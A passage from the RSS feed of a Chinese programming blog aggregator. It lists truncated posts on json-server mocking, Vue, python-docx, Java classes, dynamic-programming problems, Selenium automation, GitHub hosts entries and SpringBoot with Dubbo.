      <description>json-server 实现简单接口mock 工具介绍 Json-server 是一个非常方便的mockserver工具,通俗来说，就是模拟服务端接口数据&#xA;开发人员可以不依赖API开发，而在本地搭建一个JSON服务，自己产生测试数据&#xA;解决问题 在开发时，若依赖另一方的接口，可以使用mock工具模拟一个服务端的api接口，不依赖API接口的实现，继续开发本模块的功能&#xA;优点 1、本地部署&#xA;不同于主流的mockserver，json-server不使用外部服务器，不会泄露数据到外部环境&#xA;​ PS：postman集成更强大的mockserver能力，但需要登录外部的个人账号，有泄露公司开发信息的风险，IT部门已禁止使用&#xA;2、体积小&#xA;json-server容量很小，npm全局安装，仅依赖node.js 环境&#xA;3、自带数据库&#xA;json-server内置了数据存储结构，可以解析json数据作为数据库的内容，可以实现简单的CRUD&#xA;安装 ​ 使用npm全局安装json-server：&#xA;npm install -g json-server ​ 可以通过查看版本号，来测试是否安装成功：&#xA;json-server -v 工具使用 服务器部署 1、创建json-server的数据库目录&#xA;在项目或者自定义目录新建文件夹，在文件夹目录下，执行启动命令默认端口为3000，可修改 json-server --host &#34;本地IP&#34; db.json 结果如下：&#xA;命令扩展参数： json-server [options] &amp;lt;source&amp;gt; 数简写默认值说明–config-c指定配置文件[默认值: “json-server.json”]–port-p设置端口 [默认值: 3000]Number–host-H设置域 [默认值: “0.0.0.0”]String–watch-wWatch file(s)是否监听–routes-r指定自定义路由–readonly–roAllow only GET requests[布尔]–delay-dAdd delay to responses(ms)–version-v显示版本号[布尔]–help-h显示帮助信息[布尔] 接口和数据自定义 启动server服务器后，若目录下没有对应的json文件，会按照模板创建json&#xA;xxx.json 包含了数据库的所有对象信息 ​ 数据库模板文件的参数：&#xA;每个json的Key是一个URL路径，json-server这里认为的含义是查询对象表示这里作为示范，修改db.json中url和响应&#xA;​ 这里表示，server在端口3000，存在接口 /queryDevice，会返回所有对象&#xA;request: /queryDevice response: [ { &#34;</description>
    </item>
    <item>
      <title>51单片机-433M无线模块</title>
      <link>https://bchobby.github.io/posts/9c9ebb390bc8b63f93ae9747fbfc4c74/</link>
      <pubDate>Mon, 01 May 2023 17:30:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c9ebb390bc8b63f93ae9747fbfc4c74/</guid>
      <description> 1、433M无线发射接收模块&#xA;2、通过433M模块来控制继电器&#xA;接线：单片机VCC、GND给433M、继电器供电，D0接到P1.2，D1接到P1.3，继电器IN接到P1.1。&#xA;当A按下时，D0收到高电平，当B按下时，D1收到高电平；判断D0、D1高低电平，若D0为高电平，则给IN赋低电平，从而导通继电器；若D1为高电平，则给IN赋高电平，从而断开继电器。&#xA;代码如下：&#xA;#include &#34;reg52.h&#34; sbit D0_ON = P1^2; sbit D1_OFF = P1^3; sbit switcher = P1^1;//继电器IN接到P1.1口 void main() { //查询方式判断哪个按键被按下 while(1){ if(D0_ON == 1)//收到遥控信号A，D0表现为高电平 { //A被按下，给继电器IN一个低电平，导通继电器 switcher = 0; } if(D1_OFF == 1)//收到遥控信号B，D1表现为高电平 { //B被按下，给继电器IN一个高电平，断开继电器 switcher = 1; } } } </description>
    </item>
    <item>
      <title>Halcon轮廓的分割，合并及圆&amp;矩形&amp;线拟合</title>
      <link>https://bchobby.github.io/posts/b75af6dd31d9037f5020e36c104ca9a4/</link>
      <pubDate>Mon, 01 May 2023 16:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b75af6dd31d9037f5020e36c104ca9a4/</guid>
      <description>变换&#xA;平滑轮廓：smooth_contours&#xA;算子：smooth_contours_xld(Contours : SmoothedContours : NumRegrPoints : )&#xA;示例：smooth_contours_xld (Border, SmoothedContours, 11)&#xA;Border（输入对象）：输入轮廓对象&#xA;SmoothedContours（输出对象）：输出平滑后的轮廓&#xA;11（输入控制参数）：数值越大越平滑&#xA;形状变换：shape_trans_xld&#xA;算子：shape_trans_xld(XLD : XLDTrans : Type : )&#xA;示例：shape_trans_xld (ContCircle, XLDTrans, &#39;rectangle1&#39;)&#xA;ContCircle（输入对象）：输入轮廓对象&#xA;XLDTrans（输出对象）：输出变形后的轮廓&#xA;&#39;rectangle1&#39;（输入控制参数）：输入需要变形的类型&#xA;注意：区域圆变形为椭圆 结果还是圆 轮廓圆变形为椭圆 结果是点&#xA;封闭轮廓：close_contours_xld&#xA;算子：close_contours_xld(Contours : ClosedContours : : )&#xA;示例：close_contours_xld (Contours, ClosedContours)&#xA;Contours（输入对象）：输入轮廓对象&#xA;ClosedContours（输出对象）：输出封闭后的轮廓对象&#xA;对轮廓排序：sort_contours_xld&#xA;算子：sort_contours_xld(Contours : SortedContours : SortMode, Order, RowOrCol : )&#xA;示例：sort_contours_xld (ContoursSplit, SortedContours, &#39;upper_left&#39;, &#39;true&#39;, &#39;column&#39;)&#xA;ContoursSplit（输入对象）：输入包含多个轮廓的对象&#xA;SortedContours（输出对象）：输出排序轮廓对象&#xA;&#39;upper_left&#39;（输入控制参数1）：排序方法&#xA;&#39;true&#39;（输入控制参数2）：升序true或者是降序false&#xA;&#39;column&#39;（输入控制参数3）：按照行或者列排序&#xA;分割</description>
    </item>
    <item>
      <title>Vue组件的使用</title>
      <link>https://bchobby.github.io/posts/02aaa2b331478dac9c8e2a210a1373c1/</link>
      <pubDate>Mon, 01 May 2023 14:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02aaa2b331478dac9c8e2a210a1373c1/</guid>
      <description>目录&#xA;一：什么是Vue组件？干什么用的？&#xA;二：组件的使用 1.非单文件组件&#xA;（1）定义：一个文件中包含有n个组件&#xA;（2）非单文件组件的使用步骤&#xA;（非单文件组件扩展知识点）&#xA;1.关于组件名:&#xA;2.关于组件标签&#xA;3.一个简写方式:&#xA;2.单文件组件 ：实际开发中大部分使用的都是单文件组件&#xA;一：什么是Vue组件？干什么用的？ 1.Vue组件的定义：实现应用中局部功能代码和资源的集合。&#xA;局部就是只控制一小块的地方，比如header组件，就只负责顶部这一块，其他的都不归他管，每个部分都有组件控制&#xA;代码包括 HTML ，CSS，JS等，资源比如视频，音频，图片等。&#xA;2.作用：复用代码，简化项目编码，提高运行效率。&#xA;组件化：当应用中的功能都是多组件的方式来编写的，那这个应用就是组件化的应用。&#xA;二：组件的使用 组件分为非单文件组件和单文件组件&#xA;1.非单文件组件 （1）定义：一个文件中包含有n个组件 （2）非单文件组件的使用步骤 分为三步： 1.定义组件&#xA;2.注册组件&#xA;3.使用组件&#xA;&amp;lt;script&amp;gt; Vue.config.productionTip = false; //第一步: 定义组件（创建组件） const vc = Vue.extend({ // el:&#39;&#39;,//不可以写el,因为最终都是为vm实例对象选择的容器服务 // 模板代码 template:` &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;创建组件的步骤&amp;lt;/h1&amp;gt; &amp;lt;h3&amp;gt;{{type1}}&amp;lt;/h3&amp;gt; &amp;lt;h3&amp;gt;{{type2}}&amp;lt;/h3&amp;gt; &amp;lt;h3&amp;gt;{{type3}}&amp;lt;/h3&amp;gt; &amp;lt;/div&amp;gt; `, data(){ return { type1:&#39;1.定义组件&#39;, type2:&#39;2.注册组件&#39;, type3:&#39;3.使用组件&#39; } } }) // 创建实例对象 new Vue({ el:&#39;.box&#39;, // 第二步: 注册组件（局部注册） components:{ // aaa是使用时的名字,vc是组件的名字,这两个可以一样比如vc:vc, aaa:vc, } }) &amp;lt;/script&amp;gt; 使用组件可以直接在容器中写&amp;lt;组件名&amp;gt;&amp;lt;/组件名&amp;gt;,也可以在实例中new的时候传入template</description>
    </item>
    <item>
      <title>初学Vue2框架</title>
      <link>https://bchobby.github.io/posts/28159f989d026f699866131e9e3b6e50/</link>
      <pubDate>Mon, 01 May 2023 14:36:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28159f989d026f699866131e9e3b6e50/</guid>
      <description>Vue2的使用和基本结构 &amp;lt;script&amp;gt; // 取消一个开发者提示 Vue.config.productionTip = false; // 创建Vue实例 参数是对象 一个实例只能对应一个容器（先到先得） const vm = new Vue({ // el是element缩写 用于指定当前Vue实例为哪个容器服务器，值通常为css选择器 el: &#39;.demo&#39;, data: {//data中存储数据供el所制定的容器使用 name: &#39;ldh&#39;, age: 18, }, computed: {//计算属性,当data中的属性被读取时触发回调函数(getter/setter) uname: { get() { console.log(&#39;uname被读取&#39;); return this.name; }, set(value) { this.name = value; } } }, methods: {//存放用到的函数 tanchuang() { alert(&#39;弹窗提示函数&#39;); } }, watch: {//检测data中数据发生改变时触发回调函数（handler） name: { handler(newValue, oldValue) { console.log(this.name + &#39;被修改了&#39;, newValue, oldValue); } } } }); &amp;lt;/script&amp;gt; 1.</description>
    </item>
    <item>
      <title>Vue2中的绑定事件和事件修饰符</title>
      <link>https://bchobby.github.io/posts/e2138855a969827fa167dcf7b8968ca2/</link>
      <pubDate>Mon, 01 May 2023 14:36:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2138855a969827fa167dcf7b8968ca2/</guid>
      <description>一：绑定事件 事件的基本使用&#xA;1.使用v-on:xxx或者@xxx （@等同于v-on） 例如绑定一个点击事件v-on:click(@click)&#xA;2.事件的回调需要配置在methods对象中，最终会在实例对象上&#xA;3.methods中的配置的函数，不要使用箭头函数（不然this指向会出现问题）&#xA;4.methods中的函数都是Vue管理的，函数中的this指向vm或者组件实力对象&#xA;5.@click = &#34;demo&#34;和@click =&#34;demo($event, 实参)&#34;&#xA;代码如下&#xA;&amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;h3&amp;gt;欢迎来到{{name}}&amp;lt;/h3&amp;gt; &amp;lt;!-- 绑定事件 v-on:click --&amp;gt; &amp;lt;button v-on:click=&#34;showInfo1&#34;&amp;gt;点我提示信息&amp;lt;/button&amp;gt; &amp;lt;!-- 简写 @click --&amp;gt; &amp;lt;button @click=&#34;showInfo2($event,66)&#34;&amp;gt;点我提示信息&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; Vue.config.productionTip = false; new Vue({ el: &#39;.box&#39;, data: { name: &#39;尚硅谷&#39;, address: &#39;北京&#39; }, methods: { showInfo1() { alert(&#39;同学你好!&#39;); }, showInfo2(e, num) { alert(&#39;同学你好!!&#39; + num); console.log(e.target); } } }) &amp;lt;/script&amp;gt; 绑定点击事件调用的函数都写在methods属性里面，模板代码才可以调用&#xA;！！！注意 当使用到event事件时，需要在函数参数中写$event占位&#xA;二：事件修饰符 Vue中的事件修饰符</description>
    </item>
    <item>
      <title>python操作word——python-docx和python-docx-template模块</title>
      <link>https://bchobby.github.io/posts/6f4901e800816a7a2c60267c00089576/</link>
      <pubDate>Mon, 01 May 2023 10:43:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f4901e800816a7a2c60267c00089576/</guid>
      <description>前言：项目用到了导出文档，综合考虑使用python-docx模块&#xA;目录 python-docx安装docx文档布局词汇三个部分文档段落文字块 四级结构（表格） 使用导入word读操作获取段落获取段落文本内容获取文字块文本内容遍历表格表格设置字体样式 写操作保存文件添加标题添加段落添加文字块添加空白页添加图片设置样式 word转pdf,htmlword----&amp;gt;htmlword----&amp;gt;pdf 实例实际案例按顺序读取word文档中的所有信息（文本，图片，表格）写入表格并增加边框最后是用到的包 python-docx-template安装模板语法插入图片操作表格 合并word文档docxcompose安装使用 字体文件ttflinux中存放位置windows中存放位置 python-docx 安装 pip install python-docx&#xA;docx文档布局词汇 三个部分 文档Document 段落Paragraph 文字块Run&#xA;文档 就是docx文档&#xA;段落 就是寻常段落&#xA;文字块 如下，短句子中有多种不同的样式，则会被划分成多个文字块。&#xA;如果所示，这个paragraph一共四个run。&#xA;四级结构（表格） Document - Table - Row/Column - Cell四级结构&#xA;使用 导入word from docx import Document # 只要不指定路径，就默认为创建新Word文件 wordfile = Document(path) 读操作 获取段落 三个部分：一个doc由多个paragraph组成&#xA;paragraphs = wordfile.paragraphs # 得到一个段落对象列表 # [ p1,p2,p3...] print(paragraphs) 获取段落文本内容 for paragraph in wordfile.paragraphs: print(paragraph.text) 获取文字块文本内容 一个paragraph段落由一个或者多个run文字块组成&#xA;for paragraph in wordfile.</description>
    </item>
    <item>
      <title>java-常用类</title>
      <link>https://bchobby.github.io/posts/098dbef3d7383e9123ebf4cbe221d48a/</link>
      <pubDate>Mon, 01 May 2023 10:08:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/098dbef3d7383e9123ebf4cbe221d48a/</guid>
      <description>java-常用类 java-常用类引出----API一）什么是API二）如何使用API帮助文档1. API来源1.1 自己去下载对应离线版本JDK-API1.2 jdk-api在线帮助文档 一、Object类一）常用方法构造方法常用方法1、 getClass()2、 toString()方法3、hashCode()方法4、 equals()方法5、 finalize()方法（6）clone方法 二、Objects类equals()方法如何使空对象调用也能调用equals方法呢？Objects具体方法可以自行查看帮助文档 三、System类成员变量常用方法 四、Math类一）常用方法 五、Random类六、Arrays类常用方法 七、BigInteger类常用方法 八、BigDecimal类常用方法 九、DecimalFormat类常用方法特殊模式字符(`占位符`)应用场景（1）实现四舍五入保留n位小数（2）把数字转换为货币的格式（3）显示数字的百分比（4）设置特定的符号 常用RoundingMode java-常用类 引出----API 一）什么是API API (Application Programming Interface) ：应用程序编程接口&#xA;Java API是一本程序员的字典 。java中的API指的就是 JDK 中提供的各种功能的 Java类，这些类将底层的实现封装了起来，我们不需要关心这些类是如何实现的，只需要学习这些类如何使用即可，我们可以通过帮助文档来学习这些API如何使用。&#xA;二）如何使用API帮助文档 1. API来源 1.1 自己去下载对应离线版本JDK-API 双击打开api&#xA;找到索引选项卡中的输入框&#xA;查看类信息&#xA;1.2 jdk-api在线帮助文档 链接：jdk-api在线帮助文档&#xA;在线文档与离线文档差不多&#xA;一、Object类 java.lang.Object类是Java语言中的根类，是所有java类的父类，即所有类都直接或间接的继承自该类。在对象实例化的时候，最终找的父类就是Object。Object类中所定义的方法，是所有对象都具备的方法。Object类型可以存储任何对象。 作为参数，可接受任何对象。作为返回值，可返回任何对象。 如果一个类没有特别指定父类， 那么默认则继承自Object类。 public class MyClass /*extends Object*/ { // ... } 一）常用方法 Object类中包含的方法有11个，我们主要记录常用的方法：&#xA;构造方法 public Object();&#xA;子类的构造方法默认访问的是父类的无参构造方法&#xA;常用方法 1、 getClass() public final Class&amp;lt;?</description>
    </item>
    <item>
      <title>双指针技巧总结</title>
      <link>https://bchobby.github.io/posts/77afcdf1fb2c7a5bc15c1a0639e0986a/</link>
      <pubDate>Mon, 01 May 2023 09:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77afcdf1fb2c7a5bc15c1a0639e0986a/</guid>
      <description>一、双指针技巧——情景1 通常，我们只需要一个指针进行迭代，即从数组中的第一个元素开始，最后一个元素结束。然而，有时我们会使用两个指针进行迭代。&#xA;双指针的典型场景&#xA;(1)从两端向中间迭代数组。&#xA;(2)一个指针从头部开始，而另一个指针从尾部开始。&#xA;1.反转字符串 解法：双指针 c&#xA;void swap(char *a, char *b) { char t = *a; *a = *b, *b = t; } void reverseString(char *s, int sSize) { for (int left = 0, right = sSize - 1; left &amp;lt; right; ++left, --right) { swap(s + left, s + right); } } c++&#xA;class Solution { public: void reverseString(vector&amp;lt;char&amp;gt;&amp;amp; s) { int n = s.size(); for (int left = 0, right = n - 1; left &amp;lt; right; ++left, --right) { swap(s[left], s[right]); } } }; 2.</description>
    </item>
    <item>
      <title>实现Newton方法的最小化函数(pytorch)</title>
      <link>https://bchobby.github.io/posts/4f2091925e4482e493af1126f22314c8/</link>
      <pubDate>Sun, 30 Apr 2023 23:57:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f2091925e4482e493af1126f22314c8/</guid>
      <description>首先，我们要明确需求&#xA;def newton(theta, f, tol = 1e-8, fscale=1.0, maxit = 100, max_half = 20)&#xA;● theta是优化参数的初始值的一个向量。&#xA;● f是要最小化的目标函数。该函数应将PyTorch张量作为输入，并返回一个张量。&#xA;● tol是收敛容忍度。&#xA;● fscale 粗略估计最佳状态下f的大小–用于收敛性测试。&#xA;● maxit 在放弃之前尝试的牛顿迭代的最大数量。&#xA;● max_half 一个步骤在得出该步骤未能改善目标的结论之前应该被减半的最大次数。&#xA;目标。&#xA;1.函数需检查初始θ是否有限，并计算目标值f0。然后，使用“torch.autograd.functional”计算f在初始θ处的雅可比和hessian（同时检查它们是否是有限的）。&#xA;2.当Hessian不是正定时，使用变量“time” * 10。&#xA;3.变量“try_half”确保只输出一个关于达到最大减半次数的警告&#xA;4.更重要的是，它使用牛顿步长和方向迭代更新θ，直到达到收敛或最大迭代次数。&#xA;5.在每次迭代过程中，函数检查目标或导数在当前或新θ下是否是有限的，以及该步骤是否导向较小的目标。如果步骤未能减少目标，则函数会将步骤大小减半，直到目标减少或达到步骤减半的最大次数。如果达到步骤减半的最大次数，该功能将发出警告。&#xA;6.该函数还通过评估梯度向量的范数以及Hessian是否是正定的来检查收敛性。如果梯度向量足够接近零，函数会检查Hessian是否是正定的。如果Hessian不是正定的，函数将单位矩阵的一个小倍数（10^-8）加到Hessian上，然后重试（time*10）。&#xA;7.如果在没有收敛的情况下达到最大迭代次数，则函数会发出错误。该函数返回一个dict，其中包含theta的最终值、目标值f0、迭代次数iter_count和f在最终theta处的梯度。&#xA;def newton(theta, f, tol=1e-8, fscale=1.0, maxit=100, max_half=20): # check if the initial theta is finite if not torch.isfinite(theta).all(): raise ValueError(&#34;The initial theta must be finite.&#34;) # initialize variables iter_count = 0 #theta is a vector of initial values for the optimization parameters f0 = f(theta) #f is the objective function to minimize， which should take PyTorch tensors as inputs and returns a Tensor #autograd functionality for the calculation of the jacobian and hessians grad = torch.</description>
    </item>
    <item>
      <title>使用Selenium控制Chrome浏览器 --工作自动化</title>
      <link>https://bchobby.github.io/posts/9c206c5dc1a608febe4ba6cb0d343dfc/</link>
      <pubDate>Sun, 30 Apr 2023 21:23:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c206c5dc1a608febe4ba6cb0d343dfc/</guid>
      <description>使用Selenium控制Chrome浏览器 --工作自动化&#xA;背景： 最近朋友在用秒账做帐时，由于销售单量很大，重复录入工作一天一录就近五个小时，寻求帮助，问能不能把这重复劳动减少些，看后分析，使用web自动化，应能解决问题，特此记录如下：&#xA;Selenium 简介：Selenium 是一套完整的web应用程序测试系统，包含了测试的录制（Selenium IDE）,编写及运行（Selenium Remote Control）和测试的并行处理（Selenium Grid）。Selenium的核心Selenium Core基于JsUnit，完全由JavaScript编写，因此可以用于任何支持JavaScript的浏览器上。Selenium 支持的语言包括C#，Java，Perl，PHP，Python 和 Ruby。目前，Selenium Web 驱动程序最受 Python 欢迎。 Selenium 测试脚本可以使用任何支持的编程语言进行编码，并且可以直接在大多数现代 Web 浏览器中运行。&#xA;安装Selenium： pip install selenium&#xA;查看Chrome版本，下载安装chromedriver chromedriver的Windows版本分为32位和64位，用的32位Windows操作系统的同学请下载Windows x86版本，用64位Windows操作系统的同学请下载Windows x86-64版本。&#xA;下载地址：http://chromedriver.storage.googleapis.com/index.html&#xA;根据自身浏览器选择：&#xA;下载后是一个压缩包，解压后只有一个文件：chromedriver.exe，将它放到python安装目录的scripts目录。我调试时直接放在了指定目录中，增加了代码：&#xA;chrome_driver = os.path.join(os.getcwd(), &#34;chromedriver.exe&#34;) 调试前装备： # -*- coding: utf-8 -*- # @Time : 2023年04月30日 20时51分 # @File : 秒帐.py # @notice ： import os from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() # chrome_options.</description>
    </item>
    <item>
      <title>337. 打家劫舍 III</title>
      <link>https://bchobby.github.io/posts/3e1aabc302f23d35bbb4fb7a712a7fc5/</link>
      <pubDate>Sun, 30 Apr 2023 21:13:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e1aabc302f23d35bbb4fb7a712a7fc5/</guid>
      <description>树形DP。&#xA;DP数组的含义，这个已经不再是数组了，不过含义和之前相同遍历顺序，下面单独讲初始值，也不需要了打印DP数组，打印递归不是个明智的选择 得用递归，递归函数要求获取算当前节点和不算当前节点时最大的dp结果。&#xA;直接看代码吧，如果不选当前节点，不一定leftresult就一定得选择has，右节点同理；如果选了当前节点，左右就肯定得选nothas了&#xA;class result { public: int has_; int notHas_; result() : has_(0), notHas_(0) {} result(int has, int notHas) : has_(has), notHas_(notHas) {} int getMax() { return max(has_, notHas_); } }; result treeRob(TreeNode *cur) { if (nullptr == cur) { return {0, 0}; } auto leftResult = treeRob(cur-&amp;gt;left); auto rightResult = treeRob(cur-&amp;gt;right); result curResult; curResult.notHas_ = leftResult.getMax() + rightResult.getMax(); curResult.has_ = cur-&amp;gt;val + leftResult.notHas_ + rightResult.notHas_; return curResult; } int rob(TreeNode *root) { if (nullptr == root) { return 0; } auto ret = treeRob(root); return ret.</description>
    </item>
    <item>
      <title>arcgis 图例变灰无法添加图例的处理方式（同样适用于指北针、比例尺等）</title>
      <link>https://bchobby.github.io/posts/f58418ff7db2ffa7b11921749bd18eef/</link>
      <pubDate>Sun, 30 Apr 2023 19:53:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f58418ff7db2ffa7b11921749bd18eef/</guid>
      <description>在此点一下这里的焦点数据框，就可以顺利处理图例了&#xA;这时插入中的图例可以变黑，成为可操作模式&#xA;点击“插入”，点击“图例”即可插入图例&#xA;指北针、比例尺等插入方式同上</description>
    </item>
    <item>
      <title>背包问题题</title>
      <link>https://bchobby.github.io/posts/ea0f61a51e1739b11a1923e1cd2786fb/</link>
      <pubDate>Sun, 30 Apr 2023 19:43:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea0f61a51e1739b11a1923e1cd2786fb/</guid>
      <description>文章目录 1. 0-1背包步骤2. 完全背包步骤3. 三种遍历顺序的关系3.1 0-1背包和普通完全背包3.2 考虑顺序的完全背包和不考虑顺序的完全背包 4. **关于背包满不满的问题。** 1. 0-1背包步骤 dp数组的含义：纯0-1背包：有若干种物品，每种选一个，一个背包最多能装多大价值（可以不用装满）设置初始值：我见过的一般都是0，只有dp[j]+=dp[j-nums[i]]这种才是1，因为如果是0就始终是0了遍历顺序：纯0-1先正向遍历物品，再逆向遍历容量打印dp数组 dp数组含义：&#xA;纯0-1：这个容量的背包的最大价值&#xA;分割等和子集：这个包能装满吗？（价值等于重量）&#xA;最后一块石头的重量：这个背包最多能装多少（这一道和上面那道差不多）&#xA;目标和：这个背包最多能有多少种方法&#xA;一和零：这个背包最多能装多少个物品&#xA;初始化：上面这些题初始化只有那个目标和第一个参数不是0，因为目标和时+=，其它都是max，目前先按照这个规律记着，后续出问题再说。&#xA;0-1背包遍历顺序：&#xA;第一个for用于遍历物品，自然是把数组从头遍历到尾&#xA;第二个for用于倒序遍历容量，初始值自然是数组的最大值，退出情况就是数组越界的情况。&#xA;不是计算次数，单纯计算大小的：&#xA;vector&amp;lt;int&amp;gt;product;//&amp;lt;物品 int capacity;//&amp;lt;容量 vector&amp;lt;int&amp;gt;dp(capacity+1,0);//&amp;lt;dp大小为容量+1 for(int i=0;i&amp;lt;product.size();++i)//&amp;lt;先遍历物品 { for(int j=dp.size()-1;j-product[i]&amp;gt;=0;--j)//&amp;lt;再遍历容量，倒序遍历，满足不越界条件 { dp[j] = max(dp[j],dp[j-product[i]]+product[i]); } } 计算次数&#xA;vector&amp;lt;int&amp;gt;product;//&amp;lt;物品 int capacity;//&amp;lt;容量 vector&amp;lt;int&amp;gt;dp(capacity+1,0);//&amp;lt;dp大小为容量+1 dp[0]=1; for(int i=0;i&amp;lt;product.size();++i)//&amp;lt;先遍历物品 { for(int j=dp.size()-1;j-product[i]&amp;gt;=0;--j)//&amp;lt;再遍历容量，倒序遍历，满足不越界条件 { dp[j] += dp[j-product[i]]+product[i]; } } 2. 完全背包步骤 dp数组的含义：纯完全背包：有若干种物品，每种无限个，一个背包，最多能装多大的价值（当然可以不装满）设置初始值：我见过的一般都是0，只有+=这种才是1，因为如果是0就始终是0了遍历顺序：纯完全背包不在乎遍历顺序，都是物品和容量都是正序遍历。不过遍历容量的时候都得是0到size大小，判断数组是否越界单加一个if。如果是先遍历物品再遍历容量，和0-1一样的时候，是组合数（无序），先遍历容量再遍历物品是排列数（有序）打印dp数组 完全背包：&#xA;和0-1背包几乎一样，传统的完全背包先遍历物品还是先便利容量是无所谓的。&#xA;组合数，122和221不再重复计算。&#xA;vector&amp;lt;int&amp;gt;product;//&amp;lt;物品 int capacity;//&amp;lt;容量 vector&amp;lt;int&amp;gt;dp(capacity+1,0);//&amp;lt;dp大小为容量+1 for(int i=0;i&amp;lt;product.size();++i)//&amp;lt;先遍历物品 { for(int j=0;j&amp;lt;dp.</description>
    </item>
    <item>
      <title>Github.com-Host修改</title>
      <link>https://bchobby.github.io/posts/a11a2929eea0efc49e5eff0c5d239d2b/</link>
      <pubDate>Sun, 30 Apr 2023 16:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a11a2929eea0efc49e5eff0c5d239d2b/</guid>
      <description> #github 140.82.112.3 github.com # by ipaddress.com 140.82.112.4 github.com # by guess 140.82.114.3 github.com # by guess 140.82.114.4 github.com # by https://raw.hellogithub.com/hosts 199.232.69.194 github.global.ssl.fastly.net # by https://raw.hellogithub.com/hosts 20.205.243.166 github.com #新加坡 微软云 # by https://ip.chinaz.com/ #时间 2023-04-30 16:53 </description>
    </item>
    <item>
      <title>海康威视监控下载下来的mp4格式的视频,小类别MPEG-PS格式</title>
      <link>https://bchobby.github.io/posts/e4bd763026af87cdfed3026422b6a9e5/</link>
      <pubDate>Sun, 30 Apr 2023 16:28:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4bd763026af87cdfed3026422b6a9e5/</guid>
      <description>海康下载视频格式：用mediainfo查看&#xA;普通mp4格式用mediainfo查看&#xA;**&#xA;视频流中ES，PES，PS，TS，RTP概念说明 ES:又称为原始流，直接从编码器出来，可以是编码过的H264，MJPEG，音频AAC，音频G711等。ES只包含一种内容的视频，如只含视频或者只含音频。&#xA;PES: ES流经PES打包器形成，将ES流分组，打包，加入包头。PES包由包头和payload组成。PES包是PES流的基本单位。&#xA;PTS(Decoding Time Stamp)/DTS(Presentation Time Stamp)：打在PES包的包头里面，用于表示时间，是音视频同步的关键。在ffmpeg中，PTS表示显示的时间，DTS表示的是解码的时间。同时，用ffmpeg处理的时候PTS必须大于或等于DTS，否则会返回-22的错误。&#xA;PS(节目流)：由PS组成，而一个PS包又由若干个PES包组成，到这里，ES经过了两层的封装。PS包头包含了同步信息与时钟恢复信息。&#xA;关于PS流的具体格式以及具体分析可以参考博客：作者写的很好，我看的时候和我获取的海康的PS流有一些出入，但大体上都差不多https://blog.csdn.net/chen495810242/article/details/39207305&#xA;**TS(传输流)?*由定长的TS包包组成(188字节)，而TS包是对PES包的一个重新封装(到这里，ES也经过了两层封装)。TS流较PS流的优势是信息丢失情况更好。TS包中的数据可以是视频数据，音频数据，填充数据，PSI/SI表格数据等。&#xA;**RTP(实时传输协议)：**是一种针对互联网上多媒体码流的传输协议。RTP协议时长用于互联网点播，视频会议，视频监控等应用。RTP使用的包为RTP包，作用域传输层。&#xA;其他人给出的方案：&#xA;1、需要海康编解码库。&#xA;2、直接用 url 拉取 h264,用 ffmpeg 转成 MP4 封装就行了。&#xA;微信浏览器不能播放mp4视频的问题 H.264有四种画质级别,分别是baseline, extended, main, high：&#xA;1、Baseline Profile：基本画质。支持I/P 帧，只支持无交错（Progressive）和CAVLC；&#xA;2、Extended profile：进阶画质。支持I/P/B/SP/SI 帧，只支持无交错（Progressive）和CAVLC；(用的少)&#xA;3、Main profile：主流画质。提供I/P/B 帧，支持无交错（Progressive）和交错（Interlaced），&#xA;也支持CAVLC 和CABAC 的支持；&#xA;4、High profile：高级画质。在main Profile 的基础上增加了8x8内部预测、自定义量化、 无损视频编码和更多的YUV 格式；&#xA;H.264 Baseline profile、Extended profile和Main profile都是针对8位样本数据、4:2:0格式(YUV)的视频序列。在相同配置情况下，High profile（HP）可以比Main profile（MP）降低10%的码率。&#xA;根据应用领域的不同，Baseline profile多应用于实时通信领域，Main profile多应用于流媒体领域，High profile则多应用于广电和存储领域。</description>
    </item>
    <item>
      <title>SpringBoot整合dubbo以及nacos</title>
      <link>https://bchobby.github.io/posts/4b6340128101a77143a562ce15dfa0b0/</link>
      <pubDate>Sun, 30 Apr 2023 15:55:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b6340128101a77143a562ce15dfa0b0/</guid>
      <description>SpringBoot整合dubbo以及nacos 一、引入依赖 注意，我们这边整合的时候分为消费者，生产者和中间服务接口层&#xA;1、父POM文件 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.fly&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-dubbo&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;spring-boot-dubbo-interface&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;spring-boot-dubbo-provider&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;spring-boot-dubbo-consumer&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;properties&amp;gt; 